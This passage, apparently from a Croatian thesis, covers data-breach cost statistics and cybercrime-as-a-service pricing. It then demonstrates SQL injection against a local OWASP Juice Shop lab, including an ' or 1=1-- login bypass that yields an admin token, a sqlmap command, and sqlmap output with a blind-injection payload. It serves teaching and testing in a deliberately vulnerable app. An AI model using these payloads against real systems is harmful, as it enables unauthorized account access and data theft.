javnom sektoru industrije. 28 % dozivjelo je neku vrstu destruktivnog napada, dok je 17 %
dozivjelo proboj zbog ugrozenog poslovnog partnera. Koristenje ukradenih ili ugrozenih podataka
za autentifikaciju i autorizaciju ostaje najuobiCajeniji uzrok povrede podataka. Ukradeni ili
ugrozeni podatci za autentifikaciju i autorizaciju bili su primarni vektor napada u 19 % slucajeva
prema istrazivanju iz 2022. i takoder glavni vektor napada prema istrazivanju iz 2021., uzrokujuéi
20 % cjelokupne povrede podataka. Povrede podataka uzrokovane navedenim vektorom napada
imale su prosje¢ni troSak od 4,50 milijuna USD. Te su povrede imale najdulji zivotni ciklus, 243
dana za prepoznavanje i jos 84 dana za suzbijanje povrede. Navedeno vrijeme je 16,6 % vece od

ukupnog srednjeg vremena za prepoznavanje i obuzdavanje povrede podataka. Krada identiteta
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(engl. phishing) bila je drugi najceséi uzrok povrede podataka sa 16 % i ujedno i najskuplji, s
prosje¢nim troSkom od 4,91 milijuna USD. Krada identiteta imala je trece najvece srednje vrijeme

za prepoznavanje i obuzdavanje, 295 dana [19].

Srednje vrijeme za prepoznavanjeiobuzdavanje povrede
podataka prema pocetnim vektorima napada (mjereno u
danima)

Ostale tehnicke pogresne konfiguracije 149,00
Pogresna konfiguracija oblaka 183,00
Slucajan gubitak podatakaili uredaja 189,00
Drustveni inZenjering 201,00

UgroZenost fizicke sigurnosti 217,00
Zlonamjerni zaposlenik 216,00
Ranjivosti u programima trecih strana 214,00
Krada identiteta 219,00

UgroZzenost poslovne elektronicke poste 234,00

Ukradeneili ugrozene vjerodavnice 243,00

01

o

0 50,00 100,00 150,00 200,00 250,00 300,00 350,00

M Srednje vrijeme za prepoznavanje M Srednje vrijeme za obuzdavanje

Grafikon 4. Srednje vrijeme za prepoznavanje i obuzdavanje povrede podataka prema pocetnim vektorima napada
[19]

Grafikon 4. prikazuje srednje vrijeme potrebno za prepoznavanje i obuzdavanje povrede podataka

prema pocetnim vektorima napada, izraZeno u danima.
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Prosjecnitrosak povrede podataka po industrijama (mjeren u
milijunima USD)
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Grafikon 5. Prosje¢ni troSak povrede podataka po industrijama mjeren u milijunima USD [19]
Na grafikonu 5. se jasno moze vidjeti koje industrije su imale najve¢i troSak povrede podataka.
Trosak povreda podataka u zdravstvenom sektoru dosegao je novi rekord. Trosak se povecao za
gotovo 1 milijun USD te je dosegao 10,10 milijuna USD. Troskovi povrede podataka u
zdravstvenoj industriji najveci su ve¢ 12 godina zaredom, te biljeze rast od 41,6 % za razliku od

izvjeS¢a iz 2020. godine. Drugo mjesto su zauzele financijske organizacije, u prosjeku 5,97
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milijuna USD, zatim slijedi farmaceutska industrija sa 5,01 milijun USD, tehnoloska industrija sa
4,97 milijuna USD i industrija energije sa 4,72 milijuna USD [19].

Prvih pet zemalja ili podrucja s najvisim prosje¢nim troSkom povrede podataka bile su Sjedinjene
Americke Drzave sa 9,44 milijuna USD, Bliski istok sa 7,46 milijuna USD, Kanada sa 5,64
milijuna USD, Velika Britanija sa 5,05 milijuna USD i Njemacka sa 4,85 milijuna USD.

Sjedinjene Americke Drzave predvode popis ve¢ 12 godina zaredom. U meduvremenu, zemlja s

najbrzom stopom rasta troska povrede podataka u prosloj godini bila je Brazil, spoveéanjem od
27,8 %, to¢nije s 1,08 na 1,38 milijuna USD [19].

Prosjecni troSak proboja

Prosjecni trosak proboja

Rang Drzava ili regija

podataka (2022) podataka (2021)
1. | SAD 9,44 milijuna USD 9,05 milijuna USD
2. Bliski Istok 7,46 milijuna USD 6,93 milijuna USD
3. | Kanada 5,64 milijuna USD 5,40 milijuna USD
4. | Ujedinjeno Kraljevstvo 5,05 milijuna USD 4,67 milijuna USD
5. | Njemacka 4,85 milijuna USD 4,89 milijuna USD
6. | Japan 4,57 milijuna USD 4,69 milijuna USD
7. Francuska 4,34 milijuna USD 4,57 milijuna USD
8. | ltalija 3,74 milijuna USD 3,61 milijuna USD
9. | Juzna Koreja 3,57 milijuna USD 3,68 milijuna USD
10. | Juzna Afrika 3,36 milijuna USD 3,21 milijuna USD
11. | Australija 2,92 milijuna USD 2,82 milijuna USD

12. | Udruga zemalja jugoistocne N .
Azije 2,87 milijuna USD 2,71 milijuna USD
13. | Latinska Amerika 2,80 milijuna USD 2,56 milijuna USD
14. | Indija 2,32 milijuna USD 2,21 milijuna USD
15. | Skandinavija 2,08 milijuna USD 2,67 milijuna USD
16. | Brazil 1,38 milijuna USD 1,08 milijuna USD
17. | Turska 1,11 milijuna USD 1,91 milijuna USD

Tablica 2. Prosje¢ni troSak povrede podataka po zemljamaili regijama [19]

Tablica 2. prikazuje prosjecni troSak povrede podataka po zemljama ili regijama. Jasno se moze

vidjeti povecanje u odnosuna 2021. godinu te koje zemlje su imale najveci trosak.
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2.2.3. Kiberneticki zlo¢in kao usluga

Kiberneticki zlo¢in neprestano se razvija, a danas postoji u visoko organiziranom obliku. Isti je
postao veliki poslovni pothvat, i kao sa svim trziStima u nastajanju, poduzeca (u stvari dobavljaci
i prodavaci) koja posluju na trziStu kibernetiCkog zlo¢ina proSirila Su svoju ponudu na niz
aktivnosti koje omogucuju razliCite strategije zlonamjernih kibernetickih napada. Kiberneticki
zlo¢in je postao visoko organizirana hijerarhija ukljucujuci vode, inZenjere, radnike na ulicama i
posrednike za pranje novca. Svaki zaposlenik ima odredenu ulogu ili funkciju koju treba obavljati,
a svaki posao je neophodan kako bi se osiguralo uspjesno poslovanje. Trziste kibernetickog zlocina
ukljucuje razne proizvode, poput alata za specifi¢éne napade, savjetovanja, oglasavanja i velikog

broja programa koji imaju odredenu svrhu. Sto vise znacajki usluga ima, cijena joj je veca [20].

Botnet Rental for Installs

Suppc ¥ 2
Support ¢

WE SELL LOADS!

A

We are pleased to introduce you a brand ﬁ

new service. We sell unique loads from

different countries.

If you are determined to be a regular

customer - we are ready to give you a United States $110

disclount. The more you buy- the less you All world $16

pay: Mix with no Asia $30
Asia $8

* We sell unique loads from different S LY

countries except for Ru. Gb $150

« Don't forget that we accept only Please contact with supports about

prepayment via WebMoney and you are to prices for other countries

take at least 1k.

« You must be sure of individual approach
to each customer and a 24/7/365 friendly
support.

Slika 5. CaaS Internet stranica za iznajmljivanje mreze zaraZenih racunala [20]
Slika 6. prikazuje Internet stranicu za iznajmljivanje mreze zarazenih racunala (engl. botnet) te se
jasno mogu vidjeti cijene s obzirom na podrucje. Racunala su zarazena zlonamjernim softverom
te su u kontroli kiberneti¢kog kriminalca. Mreze mogu biti dizajnirane za obavljanje ilegalnih ili
zlonamjernih zadataka ukljucujuéi slanje nezeljene poste, kradu podataka ili distribuirane napade

uskracivanja usluge [21].
Neki primjeri usluga koje se nude na CaaS trzistu te cijene istih su:

e savjetovanje za postavljanje mreze zarazenih rac¢unala: od 350 do 400 USD

e Vvisoko razvijene mreze zarazenih racunala: od 700 do 3000 USD
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e Usluge zaraze racunala: 100 USD za 1000 instalacija

e napadi uskracivanja usluga: 535 USD za pet sati dnevno tijekom jednog tjedna

¢ slanje velikog broja nezeljenih elektronickih poruka: 40 USD za 20000 poruka

e softver za udaljeno upravljanje koji ima moguénost izvrSavanja napada, snimanje zaslona
I pristup kameri: 250 USD

e raznovrsni alati za iskoriStavanje ranjivosti koje otvaraju mogucnost napada putem
Internet stranica: od 1000 do 2000 USD

e programi za skrivanje i izbjegavanje otkrivanja: od 10 do 100 USD

e izvorni kod zlonamjernih softvera: besplatno.

Jedan od glavnih razloga zaSto se stalno razvijaju nove prijetnje 1 poboljSavaju postojece je
jednostavnost pristupa izvornom kodu zlonamjernih softvera. Moze se kopirati, izmijeniti i
oblikovati prema odredenom slucaju upotrebe. Jedan od primjera je Zeus virus, koji je imao
viSestruke izmjene od svog prvog izdanja, te se nove inacice nastavljaju pojavljivati, zbog lakoce
pristupa izvornom kodu i koli¢ini dokumentacije koja opisuje kako ga se moze izmijeniti. Siroki
raspon usluga takoder ukljucuje i visoko specijalizirani oblak za probijanje lozinki, koji nudi
visoke performanse po niskoj cijeni i znatno smanjuje vrijeme potrebno za probijanje slozenih

lozinki. 300 milijuna pokusaja, Sto traje otprilike 20 minuta, kosta oko 17 USD. Ova usluga postoji

ve¢ nekoliko godina, ali u zadnje vrijeme se znatno povecala brzina i smanjio trosak [20].
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3. PROVEDBA IPROTUMJERE ZA KIBERNETICKE NAPADE

3.1. Postavljanjelaboratorijskog okruZenja

3.1.1. Kali Linux

Kali Linux je Linux distribucija otvorenog koda temeljena na Debian GNU/Linux operacijskom
sustavu. Kali Linux je namijenjen stru¢njacima za kiberneticku sigurnost, 1T administratorima i
svima koje zanima podrudje kiberneti¢ke sigurnosti za napredno penetracijsko testiranje i provjeru
sigurnosti. Kali Linux se moZe koristiti kao glavni operacijski sustav, u kombinaciji s drugim
operacijskim sustavima (engl. multiple boot ), kao virtualni stroj, na mobilnom uredaju, u oblaku
racunala, u sklopu Windows podsustava za Linux (engl. Windows Subsystem for Linux) ili WSL
te na jo$ nekoliko na¢ina od kojih svi imaju svoje prednosti i mane [22]. Zbog jednostavnosti
koristenja izabrano je koristenje Kali Linux-a na virtualnom stroju unutar Oracle VM VirtualBox-
a. Alati unutar Kali Linux-a su organizirani unutar nekoliko kategorija ovisno o njihovoj namjeni:
prikupljanje informacija, analiza ranjivosti, analiza ranjivosti Internet aplikacija, procjena
sigurnosti baze podataka, probijanje sigurnosne zaStite lozinke, bezi¢ni napadi, obrnuti
inzenjering, iskoriStavanje ranjivosti, prisluskivanje i laziranje, radnje nakon iskoriStavanja

ranjivosti, forenzika, izvjestavanje i drustveni inZenjering.

(IR UK

e quieter you become, the more you are able to hear”

Slika 6. Pocetni zaslon Kali Linux-a s rasporedom aplikacija
Slika 6. prikazuje pocetni zaslon Kali Linux-a te na¢in organizacije alata. Visoka razina prilagodbe
ga Cini vrlo korisnim i ¢esto prvim izborom struc¢njaka za kiberneti¢ku sigurnost. Prema zadanim

postavka Kali Linux ima samo jedan ra¢un s najve¢om razinom privilegija (engl. root), kako bi
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osigurao dodatan sloj sigurnosti izmedu korisnika i bilo kojih potencijalno destruktivnih naredbi
ili operacija. Za razliku od Debian-a, Kali Linux onemogucuje instalirane usluge koje imaju
mogucnost slusanja na javnoj mrezi, kao $to su HTTP i SSH. ObrazloZenje iza ove odluke je
minimiziranje izloZenosti tijekom penetracijskog testiranja kada mozZe biti dosta rizi¢no otkriti
prisutnost zbog neocekivanih mreznih interakcija. Naravno, navedene usluge se mogu ukljuciti

prema potrebi [22].

3.1.2. Nesigurna i ranjiva Internet aplikacija

Kako bi se Sto efikasnije proveli i analizirali kiberneticki napadi potrebno je koristiti Internet
aplikaciju koja je razvijena s ciljem da predstavlja ranjivu i nesigurnu metu. Iz navedenog razloga
izabrana je aplikacija OWASP Juice Shop. Prema [23] OWASP Juice Shop je vjerojatno
najmodernija i najsofisticiranija nesigurna Internet aplikacija. MoZe se koristiti za sigurnosne
treninge, predavanja o kibernetickim napadima, razna natjecanja i testiranje sigurnosnih alata.
Juice Shop sadrzi 10 najkriticnijih sigurnosnih rizika za Internet aplikacije zajedno s mnogim
drugima sigurnosnim propustima koji se Cesto nalaze u Internet aplikacijama. Prema [24]

sigurnosni rizici su sljedeci te su rangirani prema stupnju ozbiljnosti i opasnosti:

e nepravilno postavljena kontrola pristupa (engl. broken access control)

e kriptografske pogreske (engl. cryptographic failures)

e ubrizgavanje (engl. injection)

e nesiguran dizajn (engl. insecure design)

e pogresne konfiguracije sigurnosti (engl. security misconfiguration)

e ranjive i zastarjele komponente (engl. vulnerable and outdated components)

e pogreske pri identifikaciji i autentifikaciji (engl. identification and authentication failures)

e naruSavanje integriteta softvera i podataka (engl. software and data integrity failures)

e pogreske pri sigurnosnom biljezenju i pracenju (engl. security logging and monitoring
failures)

e krivotvorenje zahtjeva na strani posluzitelja (engl. server-side request forgery)

Juice Shop aplikacija je otvorenog koda i dostupna je na [25]. Postoji nekoliko nacina postavljanja
aplikacije, a izabran nacin je koriste¢i Docker. Prije pocetka rada potrebno je instalirati Docker,

jer isti nije dio Kali Linux-a prema poc¢etnim postavkama.
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—

install -y docker.io

—

enable docker --now

Slika 7. Naredbe za instalaciju Docker-a
Slika 7. prikazuje redoslijed naredbi koje je potrebno izvrsiti za instalaciju Docker-a. Nakon §to je

Docker uspjesno instaliran, koriStenje Juice Shop aplikacije postaje jednostavno.

S

pull bkimminich/juice-shop

]

run --rm -p 3000:3000 bkimminich/juice-shop

Slika 8. Naredbe za pokretanje Juice Shop aplikacije
Slika 8. prikazuje na koji na¢in se pokrece Juice Shop aplikacija. Nakon $to je aplikacija uspje$no
pokrenuta ista je dostupna na linku: http://localhost:3000.

.. OWASP Juice Shop Q @ acount @en

Apple Juice
(1000ml) Apple Pomace
1.99a 0.89=
Carrot Juice Eggfruit Juice
(1000ml) (500ml)
2.99= 899

Slika 9. Pocetna stranica Juice Shop-a

All Products

Banana Juice 3 Best Juice Shop
(1000ml) . L Salesman
1.998 . Artwork

5000=

Green

Fruit Press Smoothie

89.99%

1.99=

Slika 9. prikazuje pocetnu stranicu Juice Shop aplikacije. Aplikacija nudi mogucnost pretrazivanja
po kljucnoj rijeci, prijavu, promjerni jezika te pregled svih proizvoda na pocetnoj stranici. U
gornjem lijevom kutu se nalazi izbornik, koji sadrzi osnovne informacije i upute za koriStenje

aplikacije.
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3.2. SQL ubrizgavanje

3.2.1. Opis i tehnike napada

Structured query language (SQL) je programski jezik za pohranu i obradu informacija u relacijskoj
bazi podataka. Relacijska baza podataka pohranjuje informacije u tabliénom obliku, s redovima i
stupcima koji predstavljaju razli¢ite atribute podataka i razli¢ite odnose izmedu vrijednosti
podataka. SQL naredbe se koriste za pohranjivanje, azuriranje, uklanjanje, pretrazivanje i
dohvacanje informacija iz baze podataka. SQL je popularan upitni jezik koji se cesto koristi u svim
vrstama aplikacija. Programeri uce i koriste SQL zbog dobre integracije s razli¢itim programskim
jezicima. SQL je takoder prilicno jednostavan jer koristi uobicajene engleske kljuéne rije¢i u

svojim naredbama [26].

SQL ubrizgavanje je vrsta kibernetickog napada u kojemu se SQL kod ubacuje ili ubrizgava u
korisnicke parametre unosa u aplikaciji, koji se kasnije prosljeduju posluzitelju na analizu i
izvrSavanje. Svaka procedura koja stvara SQL izraze potencijalno je ranjiva, budu¢i da postoji
mnogo razli¢itih nacina za izradu SQL izraza u programskom kodu. Primarni oblik SQL
ubrizgavanja se sastoji od izravnog ubacivanja koda u parametre koji se prosljeduju SQL
naredbama 1 izvrSavaju. Manje izravan oblik napad ubrizgava zlonamjerni kod u nizove znakova
(engl. string) koji su namijenjeni za pohranu u tablici ili kao metapodatci. Kada se pohranjeni
nizovi znakova naknadno spoje u dinami¢ku SQL naredbu, zlonamjerni kod se izvrSava. Ako
aplikacije ne mogu pravilno provjeriti valjanost parametara koji se prosljeduju SQL naredbama,
napadacu se otvara moguc¢nost promjene konstrukcije SQL naredbe koja se $alje posluzitelju. Ako
napadac promjeni SQL naredbu, naredba ¢e se izvrsiti s istim pravima koja ima korisnik aplikacije,

S$to mogu biti visoko privilegirana prava ako je u pitanju administratorski racun [27].

Prema [27] postoji dosta pogresaka koje mogu dovesti do ranjivosti SQL ubrizgavanjem, a ovo su
najcesce. Nepravilno rukovanje tipovima podataka: pogresno rukovanje s numerickim tipovima
podataka, to¢nije rukovanje s istima kao i s nizovima znakova moze dovesti do propusta. Takoder
nedovoljna ili nepostojeéa provjera koji tip podatka je korisnik poslao moze biti potencijalna
ranjivost na SQL ubrizgavanje. Neispravno rukovanje pogreskama u programskom kodu: detaljne
interne poruke o pogreskama kao Sto su ispis baze podataka i kodovi pogresaka ne smiju se
prikazivati korisniku. Navedene poruke otkrivaju pojedinosti koje se nikad ne bi smjele javno
prikazati, te na takav nacin napada¢ moze doc¢i do detalja 0 mogué¢im nedostatcima na stranici.
Opsirne poruke pogresaka u bazi podataka mogu se iskoristiti za izvlacenje informacija na koji

naéin se upravlja podacima, $to napadaci mogu iskoristiti za SQL ubrizgavanje. Neispravno
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rukovanje dopustenim znakovima unosa: postoje dva pristupa za izradu popisa dopustenih
znakova. Prvi ujedno 1 preporuceni pristup je izrada popisa dopustenih znakova, $to znaci da svi
znakovi koji se ne nalaze na popisu nisu dopusteni. Drugi je izrada popisa nedopustenih znakova,
to jest svi znakovi su dopusteni za unos osim onih na popisu. Na ovaj popis se stavljaju znakovi
koji se mogu iskoristiti u zlonamjerne svrhe, ali naravno uvijek je moguce previdjeti ili zaboraviti
alternativne zapise pojedinih znakova. Preporuka je izbjegavati drugi nacin u vecini slucajeva.
Nesigurna konfiguracija baze podataka: vecina popularnih baza podataka ima nekoliko zadanih
korisnickih racuna koji su unaprijed dodani prilikom pocetnog postavljanja. Ovi racuni takoder
imaju lozinke koju su javno poznate. Uz navedeno, postoji joS jedna Cesta pogreska, kada
posluzitelj baze podataka ima najvece privilegije (root, system, administrator). Posluzitelji,
posebno posluzitelji baze podataka, uvijek se trebaju pokretati s ograni¢enim privilegijama (po
mogucnosti u chroot okruzenju) kako bi se smanjila potencijalna Steta na operacijskom sustavu i
drugim procesima u slu¢aju napada na bazu podataka. U nekim slucajevima navedeno nije moguce
ograniciti te se tada moraju poduzeti druge mjere. Postoji dosta razli¢itih nacina podjela SQL

ubrizgavanja na razli¢ite vrste, a jednaod njih je sljedeca:

e logi¢ko SQL ubrizgavanje, temelji se na logickim (engl. boolean) operatorima

e SQL ubrizgavanje temeljeno na porukama pogresaka

e SQL ubrizgavanje na temelju UNION operatora, isti spaja rezultate od dvije ili vise
SELECT naredbe

e SQL ubrizgavanje putem vise naslaganih upita, tocnije ubrizgavanje vise SQL upita u
jednom zahtjevu

e vremensko SQL ubrizgavanje, temeljeni se na mjerenju vremenu koje je potrebno bazi

podataka za obradu i odgovor na zahtjev.

3.2.2. Provedba i analiza posljedica napada

Prikupljanje informacija o meti je pocetni 1 vrlo bitan korak prilikom traZenja ranjivosti. Putem
alata ZAP moguce je prikupiti i analizirati vrlo bitne informacije na jednostavan nacin. Zed Attack
Proxy (ZAP) je besplatni alat otvorenog koda, za penetracijsko testiranje, odrzavan od strane Open
Web Application Security Project-a (OWASP). ZAP je dizajniran posebno za testiranje Internet
aplikacija te je fleksibilan i prosiriv. ZAP se moZe opisati kao proxy ¢ovjek u sredini (engl. man
in the middle proxy). Djeluje izmedu preglednika korisnika i Internet aplikacije, tako da ima

mogucénost presretanja i pregledavanja poruka poslanih izmedu istih, izmjenu sadrzaja ako je to
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potrebno, te prosljedivanja paketa na odrediste. Moze se koristiti kao aplikacija i kao pozadinski

proces [28].

Request  Response
Method | Header: Text ~ | Body: Text ~ | B O @e0OEnE=Em Send

GET http://localhost:30@@/rest/products/search?q="-- HTTP/1.1

Host: localhost:3200

User-Agent: Mozilla/5.@ (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */*

Accept-lLanguage: en-US,en;q=@.5

Connection: keep-alive

Referer: http://localhost:300@/

Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss
If-None-Match: W/"3250-B+FliYuzYdkQblbNLBdcM358zT@"

Content-Length: @

Slika 10. Slanje zahtjeva za pretrazivanje stranice putem ZAP-a
Slika 10. prikazuje slanje GET zahtjeva za pretrazivanje stranice, a parametar pretrazivanja je '--.
Navedeni parametar je izabran kako bi se poslala nepravilna SQL naredba posluzitelju, koji ¢e
mozda vratiti poruku pogreske baze podataka u tom sluc¢aju. Znak ' je poslan kako bi se zatvorio
niz znakova u naredbi, koji predstavlja parametar unosa korisnika. Znak -- oznac¢ava komentar u
SQL-u, a ovdje je koristen da se izbjegne interpretacija dijela izraza koji dolazi nakon znaka
komentara. Ako je aplikacija ranjiva na ovakav nac¢in SQL ubrizgavanja, znac¢i da rukovanje
parametrima unosa korisnika nije pravilno odradeno te se otvara dosta moguénosti za daljnje

napade.

Request  Response

Header: Text ~ | Body:Text ~ [] [] Send @

HTTP/1.1 50@ Internal Server Error
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self’
X-Recruiting: /#/jobs
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
{
I
: "SQLITE_ERROR: incomplete input”,

. "Error: SQLITE_ERROR: incomplete input”,

1,

: "SQLITE_ERROR",

"SELECT * FROM Products WHERE ((name LIKE '%'--%' OR description LIKE '%'--%') AND deletedAt IS NULL) ORDER BY name”
}
}

Slika 11. Odgovor aplikacije na zahtjev za pretrazivanje
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Slika 11. prikazuje poruku pogreske koju je vratila baza podataka, a ista sadrzi korisne informacije.
Ovakav ispis je rezultat nepravilnog rukovanja pogreskama u programskom kodu. Posto na vise
mjesta piSe SQLITE_ERROR, jasno je da se koristi SQLITE baza podataka u aplikaciji. Takoder
se moze vidjeti SQL izraz koji je koriSten za dohvacanje podataka iz baze. Na slici 11. se takoder
moze vidjeti i ime tablice u bazi podataka, koje glasi Products. Na ovakav nacin se moze prikupiti
dosta korisnih informacija ubrizgavanjem razli¢itth SQL naredbi, poput broja stupaca u tablici,

imena tablica, imena stupaca, podataka u tablici i slicno.

SQL ubrizgavanje se moze Koristiti i za neovlaSteni pristup racunima. Za ovakav tip napada
pozeljno je koristiti logicko SQL ubrizgavanje. Logic¢ke operacije vracaju vrijednost istina (engl.
true), laz (engl. false) ili nedefinirano. Na temelju vrijednosti koju posluzitelj vrati aplikaciji, ista
¢e prikazati drugaciji rezultat korisniku te na takav nadin napadaci mogu utvrditi valjanost

zlonamjernog ubrizganog koda. Ovakav napad moze biti dosta spor ako baza sadrzi puno

podataka.

POST http://localhost:3000/rest/user/login HTTP/1.1

Host: localhost:3000

User-Agent: Mozilla/5.@ (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */*

Accept-Language: en-US,en;q=@.5

Content-Type: application/json

Content-Length: 44

Origin: http://localhost:3000Q

Connection: keep-alive

Referer: http://localhost:3000/

Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=
7M1V8woDwOeallMEVEzyb5ZYpmVLdK4G7x89gjnPNg2Wr4XK3BkQJRoBgPze

{ :"test@gmail.com”, ("test”}

Slika 12. Slanje zahtjeva za prijavu putem ZAP-a
Slika 12. prikazuje na koju krajnju toc¢ku i u kojem formati zapisa se Salju podatci posluzitelju na

daljnju obradu. Ova informacija ¢e biti relevantna u daljnjoj proceduri.
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Request  Response

Method | Header: Text ~ | Body: Text ~ & & @06 =z=2m Send

POST http://localhost:3000/rest/user/login HTTP/1.1

Host: localhost:3@0@

User-Agent: Mozilla/5.@ (X11; Linux x86_64; 1v:102.0) Gecko/2010@101 Firefox/102.0
Accept: application/json, text/plain, */*

Accept-Language: en-US,en;q=0.5

Content-Type: application/json

Content-Length: 4@

Origin: http://localhost:3000

Connection: keep-alive

Referer: http://localhost:3eea/

Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=
TM1VBwoDwOeallMEV6Zzyb5ZYpmVLdK4G7x89gjnPNg2Wr4XK3BkQJRoBgPze

{ "' or 1=1--", tUtest™}

Slika 13. Logicko SQL ubrizgavanje putem ZAP-a
Slika 13. prikazuje nacin provodenja logickog SQL ubrizgavanja. Sadrzaj polja lozinke je
irelevantan jer ¢e isti biti unutar komentara, zna¢i da ga posluzitelj nece interpretirati. U polje
elektronicke poste upisan je izraz ' or 1=1--, koji predstavlja logicko SQL ubrizgavanje. Ovo
ubrizgavanje funkcionira tako da znak ' zatvara zagrade u SQL naredbi. Logicki operator or ¢e
vratiti istinit rezultat ako je bilo koja strana jednakosti istinita. Posto je 1=1 uvijek istinito, cijela
naredba je istinita. Takoder se mogla koristiti i klju¢na rije¢ true, umjesto navedenog izraza.
Navedeno ¢e re¢i posluZzitelju da je elektronicka posta valjana i da prijavi napadaca kao korisnika
s identifikacijskim brojem ili ID-om 0, §to ozna¢ava prvog korisnika u tablici, i postoji moguénost
da je taj korisnik administrator. Znak komentara je dodan na kraj kako bi se osiguralo da se ostatak

naredbe s moguéim ograni¢enjima nece izvrsiti.

Request  Response

Header: Text Body: Text ~ || [[] Send @

HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self’

X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8

Content-Length: 799

{ { :
"eyJ@eXAi01JKV1QiLCIhbGCi0iJSUZIINLIIO . ey zdGF@dXMI01JzdWN]ZXNzIiwiZGF@YSI6ey JpZCI6MSwidXN1emShbWUiOiIilCI1bWFpbCI&6IMFkbWluQGp
L1aWNILXNoLmOwIiwicGFzc3dvemQiOoiIwMTkyMDIZYTdiymQ3MzI IMDUxNmYwN]1kZ JE4YJUWMCISInIvbGUiOiJhZGlpbiIsImR1bHV4ZVRva2VuljoiliwibGFz
dExvZ21uSXAL0iTiLCIwemOmaWx1SW1lhZ2Ui01 Jhc3N1dHMYCHVIbGLjL21tYWdlcy91cGXvYWRZL2R1ZmF 1IbHRBZG1pbiswbmcilCJ@b3RwWU2VicmVeIjoiliwia
XNBY3RpdmUiOnRydWUs ImNyZWF@ZWRBACIGI j IwMjMTMDY tMDQGMTQEMZ CEMZEUNZMXICSwMDOWMCIs INVWZGF@ZWRBACIGI j IwMjMEMDY tMDQGMTQ6MZCEMZEUNZ
MxICswMDowMCIsImR1bGY@ZWRBACIGbNYsbHOsImlhdCIGMTY4NTgSMDASMNG . bsYOUar8Nge2W6iQvOKe-VY4tzgxJzW7DKhTANH261)JB1t1t9CTaSNhUY6LYoE
UgFmSFzDa-81vv4yHgUHF tbWyeycSm@TJL J2CVNpnO5Y7cOAT_AIVVTED4POVIWC8JScmcRB5SHs 1IKALQyUaKtSzFp6F3Kwc SKhvWSnxKtY3w™ , 11,
:"admin@juice-sh.op”}}

Slika 14. Odgovor aplikacije na zahtjev za prijavu
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Kao $to slika 14. prikazuje prijava u ra¢un Korisnika je uspjesno obavljena, jer je odgovor vratio
HTTP kod 200 te token za autentifikaciju. Takoder je vracena i elektronicka posta, koja u ovom
slucaju pripada administratoru. Posto navedeni postupak zahtijeva naprednije znanje SQL-a i dosta
koraka, teu nekim slu¢ajevima moze dostadugo trajati, pozeljnije je koristiti alat za automatizaciju
SQL ubrizgavanja, sqlmap. Prema [29] sqlmap je alat otvorenog koda za penetracijsko testiranje
koji automatizira proces otkrivanja i iskoriStavanja ranjivosti SQL ubrizgavanja i preuzimanja
kontrole nad posluziteljem baze podataka. Dolazi s mnogim jedinstvenim znaajkama za
penetracijsko testiranje ukljucujuéi pronalazak temeljnih informacija o bazi podataka, dohvacanje
podataka iz baze podataka, pristup temeljnom datote€nom sustavu i slicno. Podrzava koriStenje
najpopularnijin sustava za upravljanje bazama podataka (engl. database management systems) ili
DBMS. Sqglmap uvelike olakSava neovlasteni pristup Korisnickim ra¢unima pomocu SQL
ubrizgavanja. Postupak koji je prethodno prikazan i koji je obavljen ru¢no, sqlmap moze brzo i
jednostavno automatizirati. Za pocetak je potrebno istraziti na koji nacin aplikacija upravlja
prijavama korisnika. Navedeno je prikazano na slici 12., POST zahtjev se Salje na
http://localhost:3000/rest/user/login  krajnju tocku, a podatci se Salju u JSON formatu. lako je
krajnja tocCka za prijavu na aplikaciji http://localhost:3000/#/login, zahtjev se za daljnju obradu
Salje na drugu krajnju tocku. Navedeno je jako bitna informacija jer ako bi se testirala krajnja to¢ka
za prijavu na klijentskoj aplikaciji, sqlmap ne bi pronasao ranjivosti na SQL ubrizgavanje jer ista

krajnja tocka ne obraduje zahtjeve za prijavu.

~

sqlmap --url 'http://localhost:3000/rest/user/login' --data="email=testggmail.com&password=test”

--level 5 --risk 3 --fingerprint --banner --ignore-code 401

Slika 15. Sqlmap naredba za pronalazak ranjivostina SQL ubrizgavanje

Slika 15. prikazuje sqlmap naredbu za pokusaj neovlastenog pristupa korisnickom racunu, pomocéu
SQL ubrizgavanja. Naredba sadrzi nekoliko opcija ili zastavica od kojih svaka ima bitnu ulogu:

e --url: odreduje krajnju tocku ili URL mete

e --data: odreduje podatke za slanje putem POST zahtjeva, isti se odvajaju pomocu znaka &

e -level: odreduje razinu testova ili zahtjeva koji ¢e se izvrsiti, zadana vrijednost je 1, a
najveca 5

e --risk: odreduje visinu rizika testova, zadana vrijednost je 1, a najveca 3

e -fingerprint: odreduje izradu opseznog otiska DBMS-a

e --banner: vrata DBMS banner, sto predstavlja poruku ili iskaz koji pruza korisne

informacije o bazi podataka
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e --ignore-code: koristi se za ignoriranje odredenih HTTP kodova pogreske, u ovom slucaju
kod 401, koji znaci da zahtjev nije izvrSen jer mu nedostaje autentifikacija. Navedeni kod
je nuzno ignorirati jer ¢e sqlmap slati zahtjeve koji ¢e dovesti do navedene pogreske, a

prema zadanim postavkama sglmap prestaje s radom kada primi navedeni kod.

Iako je u prethodnim koracima utvrdeno koji DBMS se koristi, te na koje SQL ubrizgavanje je

krajnja tocka ranjiva, sqlmap ¢e navedeno automatski otkriti.

Parameter: email (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: email=testggmail.com' OR NOT 7643=7643-- Qrdc&password=test

3:31] [INFO] testing SQLite
:31] [INFO] confirming SQLite
31] [1nFO] actively fingerprinting SQLite
1] [InFo] the back-end DBMS is SQLite
2 1] [InFO] fetching banner
21:43:31] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for

faster data retrieval
[21:43:31] [INFO] retrieved: 3.41.1
back-end DBMS: active fingerprint: SQLite 3
banner: ‘3.41.1'
[21:43:33] [WARNING] HTTP error codes detected during run:
401 (Unauthorized) - 400 times, 500 (Internal Server Error) - 190 times
[21:43:33] [InFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/localhost

